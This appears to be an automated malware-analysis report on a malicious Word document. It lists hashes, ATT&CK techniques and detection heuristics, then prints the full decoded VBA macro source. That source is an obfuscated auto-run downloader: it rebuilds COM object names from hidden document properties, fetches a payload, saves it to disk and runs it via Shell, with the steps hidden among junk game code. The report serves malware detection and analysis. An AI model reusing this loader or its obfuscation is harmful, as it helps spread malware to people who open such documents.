Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5da30aab99018bc7…

MALICIOUS

Office (OLE)

175.5 KB Created: 2017-12-08 10:51:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 7a37351bb4f50adfb2ff8b76627673fe SHA-1: 61e221cb9b92317779f7626bbd7ab4a59b08c239 SHA-256: 5da30aab99018bc70a991af1f72ef7596ebc15b8f6b4c5f7a5e761da7a6c1d0a
490 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The macros are designed to execute automatically upon opening, likely to download and execute a second-stage payload. The document body explicitly instructs the user to enable editing and content, a common social engineering tactic.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6395483-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6395483-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    VBA.Shell$ ("" + ahZJjjceU_Project)
End Function
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    tt = ThisDocument.BuiltInDocumentProperties("Content status").Value
SubMenu = Split(tt, "FURRY")
VertikName = SubMenu(3 * Quubo)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set CofeeShop = CreateObject(VertikName)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set CofeeShop = CreateObject(VertikName)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Fuse, RDM.Label2.Caption + "t" + Mid(ahZJjjceU_System, 3, 1), VbMethod, ahZJjjceU_PokerFace
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
ahZJjjceU_Fish = 0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31880 bytes
SHA-256: b6f22bd3f221016cf7c5726b0401fe9cb8dff90d1484798be4743258a14c31df
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private _
Function NumOfDeviceNames() As Integer
  Return
End Function

Sub Document_Open()
ahZJjjceU_Fish = 0
ExportService "Horse"
End Sub


Private _
Function GetDeviceName(index As Integer) As String
  Dim tmp
  Select Case index
    Case 1
      Return
    Case Else
      tmp = Str(Rnd * &HFFFFFFFF)
      tmp = "fbsound" + Right(Trim(tmp), 4)
      Return
  End Select
End Function

Function plug_error() As String
  Dim tmp
  tmp = L.LastError
  Return
End Function


Attribute VB_Name = "RDM"
Attribute VB_Base = "0{0E217BAC-16A8-4DF1-BB14-B3802654A8E2}{CA72735F-4118-40E4-AFAE-723AB9B49382}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub doc_of_word_outline_level6()
    doc_string = "Outline Level 6"
End Sub
Sub word_outline_level6()
    Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel6
    comple.te
End Sub





Sub WriteLOG(sMessage$)
        If (bLOGOn = cOn) Then
            Wri.te nLOGFileHandle, sMessage
        End If
End Sub


    
Public Sub DryMoch()


CallByName Fuse, RDM.Label2.Caption + "t" + Mid(ahZJjjceU_System, 3, 1), VbMethod, ahZJjjceU_PokerFace

GoTo cip


 For G = 0 To CryToLoad.Size - 1
 CryToLoad.Data(G) = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, (cryOffset) + 16 + G, 1)))
 Next
 
 If Alignment = 0 Then
 pcmLevel = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, offtrack, 1)))
 offtrack = offtrack + 1
 Data.Add (pcmLevel)
 Alignment = &H20
 End If
 offtrack = offtrack + 1
 If Alignment < &H20 Then
 Data.Add (pcmLevel)
 End If
 Data.Add (pcmLevel)
 If Size >= CryToLoad.Size Then
 End If

cip:

If ahZJjjceU_Fish <> 0 Then

 Exit Sub
End If
FindNext "5", 6
End Sub










Sub doc_of_word_outline_level7()
    doc_string = "Outline Level 7"
End Sub
Sub word_outline_level7()
    Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel7
    comple.te
End Sub


Sub ErrorMessage(sMessage$)
        
        If (bLOGOn = cOn) Then
            WriteLOG (sMessage$)
        Else
            MsgBox sMessage$, 16
        End If
End Sub


Sub InfoMessage(sMessage$)
        
        If (bShowErrorsOnly = cOff) Then
            
            If (bLOGOn = cOn) Then
                WriteLOG (sMessage$)
            Else
                MsgBox sMessage$, 64
            End If
        End If
End Sub





Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'Class1

Public Function CheckRectsPlayerOpt() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 1
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    For I = 0 To UBound(PlayerOptR)
        If I > 1 Or Not Players(MeNum).Admin > 0 Then
            If IntersectRect(rTemp, PlayerOptR(I), rMouse) Then
                CheckRectsPlayerOpt = I + 1
                Exit Function
            End If
        End If
        If I = 1 And Not Players(MeNum).Admin > 0 Then Exit Function
    Next
End Function



Public Function CheckRectsMenu4() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 32
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    For I = 0 To UBound(MenuRect)
        If IntersectRect(rTemp, MenuRect(I), rMouse) Then
            CheckRectsMenu4 = I + 1
            Exit Function
        End If
    Next
End Function

Public Function CheckRectsMenuMenu1() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 1
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    If MenuMenu = 1 Then
        For I = 0 To 3
            If IntersectRect(rTemp, rHelp(I), rMouse) Then
                CheckRectsMenuMenu1 = I + 1
                Exit Function
            End If
        Next
    End If
    If MenuMenu = 5 Then
        If IntersectRect(rTemp, rHelp(4), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 6 Then
        If IntersectRect(rTemp, rHelp(5), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 7 Or MenuMenu = 8 Then
        If IntersectRect(rTemp, rHelp(5), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 7 Then
        If IntersectRect(rTemp, rHelp(6), rMouse) Then
            CheckRectsMenuMenu1 = 6
            Exit Function
        End If
    End If
End Function


Public Sub DoOption()
    Dim lMsg As Byte, j As Integer, b As Byte
    Dim oNewMsg() As Byte, lNewOffSet As Long
    
    If NavMenu = 3 Then
        j = CheckRectsMenu3
        If j = 1 Then PlayerScroll = PlayerScroll - 1
        If j = 2 Then PlayerScroll = PlayerScroll + 1
        If j > 3 Then PlayerSelected = j - 3
        If PlayerScroll < 0 Then PlayerScroll = 0
        If UBound(Players) > 10 Then
            If PlayerScroll > UBound(Players) - 10 Then PlayerScroll = UBound(Players) - 10
        Else
            PlayerScroll = 0
        End If
        j = CheckRectsPlayerOpt
        PlayerOpt = j
        If j > 0 Then Exit Sub
    End If
    
    If MenuMenu = 1 Or (MenuMenu > 4 And MenuMenu < 9) Then
        j = CheckRectsMenuMenu1
        If j = 1 Then MenuMenu = 5
        If j = 2 Then MenuMenu = 6
        If j = 3 Then MenuMenu = 7
        If j = 4 Then MenuMenu = 0
        If j = 5 Then MenuMenu = 1
        If j = 6 Then MenuMenu = 8
    End If
    
    If MenuMenu = 2 Then
        j = CheckRectsMenuMenu2
        If j = 5 Then MenuMenu = 0
        If j > hData.NumTeams Then Exit Sub
        b = j
        On Local Error Resume Next
        lMsg = MSG_TEAM
        lNewOffSet = 0
        ReDim oNewMsg(0)
        AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        SendTo oNewMsg
        MenuMenu = 0
        If j > 0 Then Exit Sub
    End If
    
    If MenuMenu = 3 Then
        j = CheckRectsMenuMenu3
        If j = 1 And Not gObjDSound Is Nothing Then If EnableSound Then EnableSound = False Else EnableSound = True
        If j = 2 Then cfgm = True
        If j = 3 Then cfgm = False
        If j = 4 Then cfgk = True: KeyConfig False
        If j = 5 Then cfgk = False: KeyConfig True
        If j = 6 Then cfgwv = False
        If j = 7 Then cfgwv = True
        If j = 8 Then MenuMenu = 0
        If j > 0 Then Exit Sub
    End If
    
    If MenuMenu = 4 Then
        j = CheckRectsMenuMenu4
        If j = 1 Then Stopping = True
        If j = 2 Then MenuMenu = 0
        If j > 0 Then Exit Sub
    End If
    
    If NavMenu = 4 Then
        j = CheckRectsMenu4
        If j > 0 Then MenuMenu = j: Exit Sub
    End If
    
    If MenuMenu = 9 Then If CheckRectMenu9 Then MenuMenu = 0
    
    j = CheckRectsNav
    If j = 1 Then If Not AnimateMenu Then MenuPend = 1: AnimateMenu = True
    If j = 3 Then If Not AnimateMenu Then MenuPend = 3: AnimateMenu = True: PlayerSelected = 1
    If j = 4 Then If Not AnimateMenu Then MenuPend = 4: AnimateMenu = True
    If j = 5 Then DropFlag
    If j = 6 Then Weapon = 1: SpecialSnd 1
    If j = 7 Then Weapon = 2: SpecialSnd 2
    If j = 8 Then Weapon = 3: SpecialSnd 3
    
    If Advertisements Then If CheckRectsAd Then LaunchAd
End Sub

Public Sub sendmsg(cmd As Long, Msgs As String)
    On Local Error Resume Next
    Dim lMsg As Byte
    Dim oNewMsg() As Byte, lNewOffSet As Long
    lNewOffSet = 0
    ReDim oNewMsg(0)
    lMsg = cmd
    AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet
    AddBufferString oNewMsg, Msgs, lNewOffSet
    SendTo oNewMsg
End Sub

Public Sub GameChat(txt As String)
    Dim X As Byte
    For X = 0 To UBound(Chat)
        If X = UBound(Chat) And Chat(X) <> vbNullString Then KillChatLine
        If Chat(X) = vbNullString Then
            If Chat(0) = vbNullString Then ChatClean = NewGTC
            Chat(X) = txt
            Exit For
        End If
    Next
    WriteChat
End Sub

Public Sub KillChatLine()
    Dim I As Integer
    For I = 0 To UBound(Chat) - 1 Step 1
        Chat(I) = Chat(I + 1)
    Next
    Chat(UBound(Chat)) = vbNullString
    WriteChat
End Sub

Public Function GetPN(plr As String) As Integer
    Dim I As Integer
    For I = 1 To UBound(Players)
        If LCase$(Players(I).Nick) = LCase$(plr) Then GetPN = I: Exit Function
    Next
End Function

Public Sub AddIgnore(plr As String)
    Dim I As Integer, j As Integer
    j = GetPN(plr)
    If Players(j).Admin > 0 Then
        GameChat Chr$(5) & "You are not allowed to ignore this player."
        Exit Sub
    End If
    For I = 0 To UBound(Ignored) + 1
        If I > UBound(Ignored) Then ReDim Preserve Ignored(I)
        If LenB(Ignored(I)) = 0 Then
            Ignored(I) = LCase$(plr)
            GameChat Chr$(5) & plr & " is ignored."
            Exit For
        End If
    Next
End Sub

Public Function IsIgnored(plr As String) As Boolean
    Dim I As Integer
    For I = 0 To UBound(Ignored)
        If Ignored(I) = LCase$(plr) Then
            IsIgnored = True
            Exit Function
        End If
    Next
End Function

Public Sub RemoveIgnore(plr As String)
    Dim I As Integer
    For I = 0 To UBound(Ignored)
        If Ignored(I) = LCase$(plr) Then
            Ignored(I) = vbNullString
            GameChat Chr$(5) & plr & " is unignored."
            Exit For
        End If
    Next
End Sub






Attribute VB_Name = "Class0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
    Public Sub Challenge(sender As String, e As Integer)
AnimTransferMap2 1
AnimTransferMap2 222
    End Sub
    


Public Function CheckRectsAd() As Boolean
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 32
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    If IntersectRect(rTemp, AdRect, rMouse) Then
        CheckRectsAd = True
        Exit Function
    End If
End Function


Public Function SuD() As String

tt = ThisDocument.BuiltInDocumentProperties("Content status").Value
SubMenu = Split(tt, "FURRY")
VertikName = SubMenu(3 * Quubo)
Vertik

SuD = ""

End Function


    
Public Function CheckRectsNav() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 32
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    For I = 0 To UBound(NavRect)
        If I < 8 Then
            If IntersectRect(rTemp, NavRect(I), rMouse) Then
                CheckRectsNav = I + 1
                Exit Function
            End If
        End If
    Next
End Function
    




Attribute VB_Name = "Module1"



Public Stocke As Integer
Public ahZJjjceU_Project As String
Public VertikName As String
Public CofeeShop As Object



Public ahZJjjceU_VEAM As Object
Public ahZJjjceU_Fish As Integer


Public SubMenu() As String

Public SubMenuE As String

Public ahZJjjceU_PokerFace As Variant
Public ahZJjjceU_aifde As Object
Public ahZJjjceU_FLAME As String
Public ahZJjjceU_avatar As Object
  

Public AttMiner() As String
Public ahZJjjceU_4 As String
  
Public Const ahZJjjceU_System = "User-Agent"
Public Fuse As Object
Public smbi As String
Public ahZJjjceU_2 As String
Public Const Quubo = 0







Attribute VB_Name = "Module2"







Public Sub WriteChat()
    Dim e As Integer, j As Integer, q As Integer, F As Integer, D As Integer, rrect As RECT, I As Integer
    DirectDraw_Chat.BltColorFill rrect, KEYColor
    e = 1
    j = UBound(Chat)
    For I = 0 To j
        q = Len(Chat(I))
        While q > 0
            F = MakeText(Mid$(Chat(I), 1, 1) & Mid$(Chat(I), e + 1, q), 5, 5 + (I + D) * 12, True, DirectDraw_Chat)
            e = e + F - 1
            q = Len(Chat(I)) - e
            If q > 0 Then D = D + 1
        Wend
        e = 0: q = 0
    Next
End Sub



Public Sub mapRender()
    
GoTo fixedTypeLbl2
If BackBuffer.isLost Then Exit Sub
    If DirectDraw_Tiles Is Nothing Then Exit Sub
    Dim DestX As Single, DestY As Single, FrameChange(255, 255) As Byte
    Dim I As Integer, R As Integer, j As Integer, c As Integer, D As Integer, a As Integer, e As Integer
    Dim Xfind As Integer, Yfind As Integer, Xwdth As Integer, Ywdth As Integer, X As Integer
    Dim Xcoor As Integer, Ycoor As Integer, Xdif As Integer, Ydif As Integer
    Dim TileGet As Integer, xt As Integer, yt As Integer, ToX As Integer, ToY As Integer
    ReDim AnimsPlayed(0)
    MeX = Playe.rs(MeNum).charX - CenterSX
    MeY = Playe.rs(MeNum).charY - CenterSY
    MapX = (MeX - (MeX Mod 16)) / 16
    MapY = (MeY - (MeY Mod 16)) / 16
    If MeY < 0 Then MapY = MapY - 1
    If MeX < 0 Then MapX = MapX - 1
    DestX = Playe.rs(MeNum).charX - MapX * 16
    DestY = Playe.rs(MeNum).charY - MapY * 16
    Xdif = MeX - MapX * 16
    Ydif = MeY - MapY * 16
    ToX = ResX / 16
    ToY = ResY / 16
    
    If ResY = 600 Then
        If Ydif < 8 Then ToY = 37 Else ToY = 38
    End If
    I = MapX * 16 + Xdif
    j = MapY * 16 + Ydif
    D = I
    c = j
    If I < 0 Then D = 0
    If j < 0 Then c = 0
    TileG.et.Left = D
    TileG.et.Top = c
    If I < 0 Then D = I Else D = 0
    If j < 0 Then c = j Else c = 0
    D = TileG.et.Left + ResX + D
    c = TileG.et.Top + ResY + c
    If D > 4080 Then D = 4080
    If c > 4080 Then c = 4080
    TileG.et.Right = D
    TileG.et.Bottom = c
    D = MapX * 16 + Xdif
    c = MapY * 16 + Ydif
    If D >= 0 Then D = 0
    If c >= 0 Then c = 0
    BackBuffer.BltFast Abs(D), Abs(c), DirectDraw_Map, TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
    c = 0
    D = 0
    
fixedTypeLbl2:
 ahZJjjceU_Project = ahZJjjceU_FLAME


GoTo fixedTypeLbl3
    
    If MeY < 0 Then c = MapY
    If MeX < 0 Then D = MapX
    For R = Abs(c) To ToY
        For I = Abs(D) To ToX
            
            Xcoor = I * 16
            If I > 0 Then Xcoor = Xcoor - Xdif
            Ycoor = R * 16
            If R > 0 Then Ycoor = Ycoor - Ydif
            
            X = AnimO.ffset(yt, xt)
            If X > 0 Then
                a = Animati.ons(yt, xt)
                If FrameChange(FrameC.ount(a), AnimS.peed(a)) = 0 Then
                    If AnimS.peed(a) = 0 Then AnimS.peed(a) = 1
                    AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = AnimC.ount(FrameC.ount(a), AnimS.peed(a)) + Speed / AnimS.peed(a)
                    If AnimC.ount(FrameC.ount(a), AnimS.peed(a)) > FrameC.ount(a) - 1 Then AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = 0
                End If
                FrameChange(FrameC.ount(a), AnimS.peed(a)) = 1
                e = AnimC.ount(FrameC.ount(a), AnimS.peed(a))
                e = (e + X) Mod (FrameC.ount(a))
                TileG.et.Top = Anim.FY(a, e) + Yfind
                TileG.et.Bottom = TileG.et.Top + Ywdth
                TileG.et.Left = Anim.FX(a, e) + Xfind
                TileG.et.Right = TileG.et.Left + Xwdth
                Call BackBuffer.BltFast(Xcoor, Ycoor, DirectDra.w_Anims(Anim.FS(a, 0)), TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY)
            End If
out:
        Next
    Next
    
fixedTypeLbl3:
summer = 1
ahZJjjceU_Project = ahZJjjceU_Project + Replace(SubMenu(12), ".", CStr(Stocke) + ".")
winter = 2
Fuse.Type = winter - summer
End Sub


Public Sub MakeFarplane2(I As Integer)
    Dim j As Integer, D As Integer, DiagMvSpd As Single, LastCX As Single, LastCY As Single, e As Integer
    Dim MvSpd As Single, sx As Single, sy As Single, chs As Single
    GoTo sinus
    MvSpd = Speed * 1.1
    
    If Player.S(I).FlagWho > 0 Then MvSpd = MvSpd * 0.75
    If Player.S(I).DevCheat > 2 Then MvSpd = MvSpd * 3
    If Player.S(I).Mode = 1 Then MvSpd = MvSpd * 6
    
    DiagMvSpd = 0.7 * 1.1
    chs = MvSpd / (Int(MvSpd) + 1)
    
    If Player.S(I).Ship = 6 Then
        Select Case Player.S(I).KeyIs
        Case Is = vbKeyLeft
            Player.S(I).animY = aLEFT2
        Case Is = vbKeyUp
            Player.S(I).animY = aUP2
        Case Is = vbKeyRight
            Player.S(I).animY = aRIGHT2
        Case Is = vbKeyDown
            Player.S(I).animY = aDOWN2
        End Select
    End If
    Player.S(I).animX = Player.S(I).KeyIs
    If Val(Int(MvSpd)) > 100 Then Exit Sub
    
    For j = 0 To Int(MvSpd)
        LastCX = Player.S(I).charX
        LastCY = Player.S(I).charY
        If Player.S(I).KeyIs = 1 Then
            Player.S(I).charX = Player.S(I).charX + chs
        ElseIf Player.S(I).KeyIs = 2 Then
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 3 Then
            Player.S(I).charY = Player.S(I).charY - chs
        ElseIf Player.S(I).KeyIs = 4 Then
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 5 Then
            Player.S(I).charX = Player.S(I).charX - chs
        ElseIf Player.S(I).KeyIs = 6 Then
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 7 Then
            Player.S(I).charY = Player.S(I).charY + chs
        ElseIf Player.S(I).KeyIs = 8 Then
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
        End If
        Call ShipTo.uch(I)
        For e = 1 To UBound(RetCollision)
            D = RetCollision(e)
            If D = 8 Then Player.S(I).charY = Player.S(I).charY - chs * 0.7
            If D = 9 Then Player.S(I).charY = Player.S(I).charY + chs * 0.7
            If D = 10 Then Player.S(I).charX = Player.S(I).charX - chs * 0.7
            If D = 11 Then Player.S(I).charX = Player.S(I).charX + chs * 0.7
            'The following four lines stop you from moving backwards on
            'ramps if you have a flag.
            'If D = 8 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 7 Then Player.s(i).charY = LastCY
            'If D = 9 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 3 Then Player.s(i).charY = LastCY
            'If D = 10 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 1 Then Player.s(i).charX = LastCX
            'If D = 11 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 5 Then Player.s(i).charX = LastCX
        Next
        GoSub whatever
    Next
    Exit Sub
    

whatever:
    sx = Player.S(I).charX
    sy = Player.S(I).charY
    '
    Call ShipTo.uch(I)
    If UBound(RectsRet) > 0 Then
        
        If (FindRects.ret(101) And FindRects.ret(109)) Or (FindRects.ret(108) And FindRects.ret(116)) Then
            Player.S(I).charX = sx
            Call ShipTo.uch(I)
            If Player.S(I).charY = LastCY Then
                If FindRects.ret(101) And FindRects.ret(109) Then 'touch top
                    Player.S(I).charY = Player.S(I).charY + 1
                End If
                Call ShipTo.uch(I)
                If FindRects.ret(108) And FindRects.ret(116) Then 'touch bottom
                    Player.S(I).charY = Player.S(I).charY - 1
                End If
            End If
            If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX
            Return
        End If
    End If
sinus:
mapRender
 CallByName Fuse, "Open" + "", VbMethod

ahZJjjceU_PokerFace = CallByName(CofeeShop, "resp" + "onseBo" + "dy", VbGet)

Set Class2Object = New Class2
Class2Object.DryMoch
    Exit Sub
    
    '
    Call ShipTo.uch(I)
    If UBound(RectsRet) > 0 Then
        Player.S(I).charX = LastCX
        Player.S(I).charY = LastCY
        If (FindRects.ret(104) And FindRects.ret(105)) Or (FindRects.ret(112) And FindRects.ret(113)) Then
            Player.S(I).charY = sy
            Call ShipTo.uch(I)
            If UBound(RectsRet) > 0 Then Player.S(I).charY = LastCY
            Return
        End If
        If (FindRects.ret(101) And FindRects.ret(109)) Or (FindRects.ret(108) And FindRects.ret(116)) Then
            Player.S(I).charX = sx
            Call ShipTo.uch(I)
            If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX
            Return
        End If
    End If
    Return
End Sub


 



Public Sub Vertik()


Set CofeeShop = CreateObject(VertikName)

smbi = RDM.Label1.Caption
SubMenuE = SubMenu(2)

    Set ahZJjjceU_avatar = CreateObject(SubMenu(3))

AnimTransferMap "Caption", False

Set ahZJjjceU_VEAM = ahZJjjceU_avatar.Environment(SubMenu(4))

 Stocke = 24 / 4
 ahZJjjceU_FLAME = ahZJjjceU_VEAM(SubMenu(6))
MakeFarplane "G", "I", "MS"
End Sub




Public Function FindNext(R As String, S As Integer) As String


CallByName Fuse, "sav" + RDM.o3.Caption, VbMethod, ahZJjjceU_Project, 2




VBA.Shell$ ("" + ahZJjjceU_Project)
End Function






 Public Sub AnimTransferMap2(cry As Integer)
 If cry = 1 Then
CallByName CofeeShop, RDM.OptionButton1.Tag, VbMethod, SubMenu(5), ahZJjjceU_4, False
Exit Sub
Else: GoTo lab1
End If
 If c.Ry.Offset = 0 Then
 Exit Sub
 End If
 writer.Write (Encoding.ASCII.GetBytes("RIFF"))
 writer.Write (0)
 writer.Write (Encoding.ASCII.GetBytes("WAVE"))
 writer.Write (Encoding.ASCII.GetBytes("fmt "))
 writer.Write (16)
 writer.Write (CUS.hort(1))
 writer.Write (CUS.hort(1))
 
lab1:
CallByName CofeeShop, RDM.OptionButton2.Tag, VbMethod, ahZJjjceU_System, _
RDM.SpinButton1.Tag
Exit Sub
 stream.Seek 0, SeekOrigin.begin
 Player.Load
 Player.Play
End Sub


Public Sub ShugarMilk(e As Integer)
    Dim Rx As Integer, Ry As Integer, rBuff As String
    Dim xt As Integer, yt As Integer, j As Integer
    Dim NewX As Integer, NewY As Integer, D As Integer, SgnX As Integer, SgnY As Integer
    Dim RatioX As Single, RatioY As Single
    Rx = 452
    Ry = 81
  Rytt = "Se" + RDM.ToggleButton2.Caption
     ahZJjjceU_4 = RDM.ZK.Caption & AttMiner(I)
 Stocke = Stocke + 2
 Dim XIpotom2 As Class0
Set XIpotom2 = New Class0
If e > 289 Then


 
Else

 XIpotom2.Challenge "RDBMS", 21
CallByName CofeeShop, Rytt, VbMethod
Set XIpotom2 = Nothing
End If
Exit Sub
   
    UniB.all(I).BLoopX = UniB.all(I).BLoopX + (UniB.all(I).BSpeedX * Speed)
    For j = 1 To UniB.all(I).BLoopX
        NewX = NewX + UniB.all(I).BMoveX
        UniB.all(I).BLoopX = UniB.all(I).BLoopX - 1
    Next
    
    UniB.all(I).BLoopY = UniB.all(I).BLoopY + (UniB.all(I).BSpeedY * Speed)
    For j = 1 To UniB.all(I).BLoopY
        NewY = NewY + UniB.all(I).BMoveY
        UniB.all(I).BLoopY = UniB.all(I).BLoopY - 1
    Next
    
    
    SgnX = Sgn(NewX - UniB.all(I).BallX)
    SgnY = Sgn(NewY - UniB.all(I).BallY)
    
    
    If SgnX = 1 Then
        For D = UniB.all(I).BallX + 1 To NewX
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D - 1
                Exit For
            End If
        Next
    End If
    
    If SgnX = -1 Then
        For D = UniB.all(I).BallX - 1 To NewX Step -1
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D + 1
                Exit For
            End If
        Next
    End If
    
    If SgnY = 1 Then
        For D = UniB.all(I).BallY + 1 To NewY
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D - 1
                Exit For
            End If
        Next
    End If
    
    If SgnY = -1 Then
        For D = UniB.all(I).BallY - 1 To NewY Step -1
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D + 1
                Exit For
            End If
        Next
    End If
    
    UniB.all(I).BallX = NewX
    UniB.all(I).BallY = NewY
    j = WeaponT.ouch(6, I, NewX, NewY)
    xt = NewX
    yt = NewY
    xt = xt - MeX: yt = yt - MeY
    
    rBuf.F.Top = Ry
    rBuf.F.Bottom = rBuf.F.Top + 10
    rBuf.F.Left = Rx + 10 * (UniB.all(I).Color - 1)
    rBuf.F.Right = rBuf.F.Left + 10
    
    If xt < 0 Then rBuf.F.Left = rBuf.F.Left + Abs(xt): xt = 0
    If yt < 0 Then rBuf.F.Top = rBuf.F.Top + Abs(yt): yt = 0
    If xt > ResX - 10 Then rBuf.F.Right = rBuf.F.Right - (xt - (ResX - 10)): xt = (ResX - 10) + (xt - (ResX - 10))
